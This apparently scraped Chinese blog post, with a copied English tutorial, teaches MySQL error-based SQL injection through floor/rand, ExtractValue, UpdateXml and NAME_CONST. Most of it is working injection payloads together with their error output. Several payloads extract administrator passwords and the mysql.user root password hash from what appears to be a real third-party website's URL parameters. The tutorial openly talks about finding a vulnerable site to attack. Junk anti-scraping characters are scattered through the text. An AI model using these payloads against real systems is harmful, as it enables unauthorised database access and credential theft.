mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
) U; @2 h3 d; f* D$ ?首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
1 `- T( J* N9 X0 v& z7 C|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
) x2 C2 [" W) h0 j: S* z% Y' _- u3 K- v. wERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

再收集：

& N' {, g, [# T- n3 _http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

. D2 K$ E* z' D" ?$ d) sErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
5 V: _8 d, e' `
, X! M7 V3 \6 I" hErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

! K. k3 M0 I$ m) c
3 t6 J+ W# _; |6 h: \# c5 }, M相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
NAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
" x. u: ~9 P& U
0 }* _0 d" g9 v& G# @SELECT NAME_CONST('TEST', 1)
7 b' A- H( B3 K8 j

/ r( {" ]. F1 L/ e7 J
/ }+ _7 y( P; f9 j|---------------|
1 T  I( I) f$ ]& S% ]7 J+ C|     TEST      |
( p* s2 J5 q7 f% C# R. d|               |
|---------------|
- r' N  Y! k. q0 ^2 K$ N|       1       |
" g4 J0 P2 q* ?- [: n|               |
|---------------|




http://dev.mysql.com/doc/refman/5.0/en/m...name-const
' T) D& x1 T! n# _4 ~. G# ~Intro to MySQL Variables
! Q3 ~: s, p, J# d
/ E. F1 Q4 \/ _5 x5 m; M, d5 HOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
8 }% R' z2 ]+ }. l+ d

4 F$ o/ W! w- ^3 i) n
, s& R2 J+ r1 E9 W

4 G0 j/ |* S1 X) l' S6 c, wCode:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--


VAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables

Let's try it out on my site..

5 M' D( L' H# @2 C% T# T4 FCode:
. R4 A/ `; K. M0 M% `http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
( {) j2 e, L1 L" l  a0 d6 X$ O
+ s- i" Y6 n* ?7 n6 c. ^Erroruplicate column name '5.0.27-community-nt'
' `0 f- s' r0 J! D: M# i/ Z
5 A. A+ r% h( C  j- W& @
7 O9 I8 @8 Z+ Y1 x


/ o# h" P' H* L+ N7 X2 [/ XNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction
# V6 D! j, Y; `5 C! d
Code:
' q- }/ S* T: U% _1 k: T7 ^+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


- w; O6 B' h( i. p& G) VWe should get a duplicate column 1 error...

7 h2 i. U9 n( |% C) o* FCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
( ~* ?* {9 E- G2 a, D
Erroruplicate column name '1
6 W- F  O8 x4 K( I4 B5 B5 ]5 {$ t) f
5 B: ?  \+ n( Y8 Y' e8 q8 i& q



7 b! |  M. [$ v  l2 D' C; H4 s
% o. ?  g# ~, y- LNow let's get the tables out this bitch..
% F5 G3 K0 X: o4 K# Z
Code:
$ w0 E7 ]# n8 X$ n+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


9 M! I  W9 ?) K5 xLet's see if it works here, if it does, we can go on and finish the job.
. ?! J9 G0 d: Q/ o; W
Code:
& f3 o, |* q* w; r, b6 fhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

2 \, R1 H# N; h8 J) m
, J! {6 k3 Y2 G- w5 k" }" kErroruplicate column name 'com_admanage

, g! h. k* |$ }* W; ?/ |. A




Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
. r0 @" s% L) b, `  ^, T; z
% b# B" }5 R+ o# v  I4 pLet's get the columns out of the user table..
. i, f/ D( V+ G2 F' s- a
/ o; @! h* D( ZCode:
* F- J. c5 u" N( m+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--

" F4 g) L" O. W8 m9 e
So mine looks like this, and I get the duplicate column name 'Host'.

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
2 Q( n! a) p* i5 p
Erroruplicate column name 'Host'
# D! h( _6 g/ j. b3 V

- Y4 o0 a3 @/ \  T. W' _
/ x) h4 q/ |* q* T/ e" x& \# d
. ^2 v- B, H  h! _- R+ P. u8 t
: u, c) {( |0 F; f
8 c5 E" e8 Y/ D8 g4 T+ w& W$ GWoot, time to finish this bitch off.

Code:
/ m7 w( [4 g6 C; a$ f+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
8 d1 W' A! _& z: D4 ?
) e" Q9 I+ Y% e7 L& t- e
So mine looks like this...
$ y5 Y( ]1 w: Y( U' t
Code:
$ T- C) D, G( {! l! y! Xhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

; _& D+ u! R2 J: P7 @Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
, q  f, X8 }7 r$ Y


- \- d7 H0 c5 e( N* |; X4 Z) X

0 C2 a7 }, s2 l2 _( t6 D& {. a
( M3 ?& O2 ]" mAnd there we have it, thanks for reading.
3 m+ G/ M7 {; H8 l7 N) F, M